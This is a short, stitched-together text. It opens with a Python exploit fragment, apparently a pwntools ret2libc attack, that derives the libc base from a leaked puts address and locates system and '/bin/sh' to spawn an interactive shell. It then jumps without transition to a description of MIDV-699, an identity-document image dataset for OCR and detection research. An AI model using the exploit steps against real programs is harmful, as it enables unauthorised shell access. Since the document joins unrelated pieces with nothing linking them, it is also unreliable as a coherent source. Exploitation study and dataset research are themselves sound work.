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# ---------------------------------------------------------------------- # Compute libc base and needed addresses # ---------------------------------------------------------------------- libc_base = puts_addr - libc.symbols['puts'] system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh'))
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No need for a further return; after system we get an interactive shell.
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Before an AI can read a document, it must isolate it from the rest of the image. MIDV-699 provides precise boundary coordinates, allowing algorithms to accurately crop out background noise, even when the document matches the color of the table it sits on. 2. Optical Character Recognition (OCR)
MIDV-699 Full is a public dataset of 699 ID document images intended for research on document detection, recognition (OCR), and identity-document-related computer vision. It contains photographs of various identity documents captured in realistic conditions with variation in orientation, lighting, background, and occlusion.